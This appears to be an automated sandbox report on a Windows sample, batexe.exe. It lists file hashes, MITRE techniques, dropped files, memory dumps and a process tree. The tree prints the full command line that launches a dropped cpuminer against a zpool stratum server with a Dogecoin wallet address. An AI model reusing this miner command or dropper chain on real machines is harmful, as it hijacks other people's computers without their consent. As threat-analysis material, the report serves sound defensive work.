73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 07:32

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5424	b2e.exe
4836	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4836	cpuminer-sse2.exe
4836	cpuminer-sse2.exe
4836	cpuminer-sse2.exe
4836	cpuminer-sse2.exe
4836	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1956-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 5424	1956	batexe.exe	85
PID 1956 wrote to memory of 5424	1956	batexe.exe	85
PID 1956 wrote to memory of 5424	1956	batexe.exe	85
PID 5424 wrote to memory of 3116	5424	b2e.exe	87
PID 5424 wrote to memory of 3116	5424	b2e.exe	87
PID 5424 wrote to memory of 3116	5424	b2e.exe	87
PID 3116 wrote to memory of 4836	3116	cmd.exe	89
PID 3116 wrote to memory of 4836	3116	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Users\Admin\AppData\Local\Temp\63BB.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\63BB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\63BB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\66E8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3116
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\63BB.tmp\b2e.exe

Filesize
7.6MB

MD5
cbf3ba634a0410e7688f67b335342f0c

SHA1
090792b5e2659bbb831b17a8c96c90e820b00d1c

SHA256
046b9f2ca5ed5221fa7152babfa3b233d366874ed9c2fc84db9ab4661aa45210

SHA512
298e869a49f59c9a88ad6a55f6d45cadf88a3fa55c6f4ec28b775f31fc5abd6ed872968e2836e0fc5ccae7534b7173d92b5751e8d6619acbdee1f05a719f647c

Download Submit
C:\Users\Admin\AppData\Local\Temp\63BB.tmp\b2e.exe

Filesize
3.1MB

MD5
df056be9e8b91140b16ce737ccfcf45d

SHA1
310d51edbaefa49f9489903c756fcef22f428019

SHA256
eae9390cdd674b56e1fe23a8be8376696c5f21fa354047263eafda0f04d483dc

SHA512
7262134d0881428a0cb4765953a0fcd2853dbbc7004a466cf5e55a983a4b6138f501df4b989878395f76de43e6b8cb6ac034ec3009dd468c9161664aa91f93e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\63BB.tmp\b2e.exe

Filesize
3.2MB

MD5
fe903ea21ca09979953de6cfc618cc01

SHA1
cb09a325419fec3b5f5fcd1b92f88798b85c4e96

SHA256
8d600185a2f5a3e8bdd27a7208257109358f01d6d9dd9384a9a45eb4ceee36f9

SHA512
c28bd8452c415bef0d564cf8919166c815608ea801e4b3642f8642716f6245b2e1b3bd66cfe137657861d930d08bc8c71e46a1f73ca535aef9dd8531440b9421

Download Submit
C:\Users\Admin\AppData\Local\Temp\66E8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
ef3f8d3832106ff776039cb1cbe366d4

SHA1
3c714d530e2682124bbeedf5d36aa9507ead8501

SHA256
bec52a108f7883276b9805e3276e92376db525d150d8dafd84b666935018250e

SHA512
1a353e155080fe4ca7abc07aeaad576dd3364f90a51b69decfe94af5ec622f049794df46e23ea90cb53f9e7b46eae4ca6242791392ef2e6e98d1359ae8bc1e8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
fe7e16ebf354b0489f867201bdf7f694

SHA1
de6b9e95481a4410d4b864b44b44cd718a62e4a5

SHA256
f299d06fd793d56c64378c9a8dedca91ad343de14bf03a72c429dfc11c75ca6d

SHA512
b73db938eab1b345f6a2a8f9d86c69d6ec5d209da0134e81dfc0d47d5446da6bdbc317e7fb0a02bd7a41d0e2a86aec05d73d2da6f7601a1f90e8e78b74a65bbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
db8b1c69ad3e3d2efcb7f2d4796bbd1f

SHA1
6206022241f2ee7189097824131940af5972de57

SHA256
6b1dc5a4a2303898487d73474d0ecfb724a14a7e61ffff7bccf44ebbd0e552fa

SHA512
1fd8d2e04765ad44b686b68a862ab9ef601c5e21a4006e71ef5dda4f51eab7a390a4ade9f63fc71964024283ca360b16e17dc3d156201583e5218b4639b12b0e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
4633db3e3d363df31824e849fc26d512

SHA1
354176920b57a93ec3a62a92be89b41bba848708

SHA256
9e88c406b70945e76fb00b84e881ebfeb51db1e31b551e611bd38d87e507f67f

SHA512
79a3128ffb253a7c67bf64e27ce7dd5b5519e96f9c5b9aaad785b3fc5eb7e1226a282b43dbd0715d6b1d06dd66adfd9b0b17809f29ff020004fb63f777a6bcd6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
63a018514c401aeb1ce4f3ceac970414

SHA1
142f9b2abbc38f7db23ab9a16ec7cd3041b3dc21

SHA256
c768f11d6d2feac3bb2e0d299730c1f80dd84934d6edfa4b83ba3d1688662cd0

SHA512
67c13dfd6feaf75d207e8af4c14533a0939025dc991a28d34d21ebcf883b2ecf5f1a24d510523c3bdf4dc57026cb4cd51644074657ad65cee170f5a137764b97

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
910KB

MD5
90d058e8bde10c19a47ef409cc2dda2d

SHA1
698f88ef635ae3e757e4e953961e9016025d0b9c

SHA256
d846eb758055a866eedfc3f513fa0359cf5910eba98bee27d7800b49961687e0

SHA512
0e905200398f1affd283762c93a6e6940d35c98cccfbd3255e4962fb9c8bda9b4d1f8d2d7131d3c7ef743151c300ae0833f0d07bf355a4547cf4eb482d7b3cce

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1956-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4836-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4836-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4836-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4836-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4836-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4836-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4836-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4836-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4836-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4836-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4836-46-0x0000000055450000-0x00000000554E8000-memory.dmp

Filesize
608KB

Download
memory/4836-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4836-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4836-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5424-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5424-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download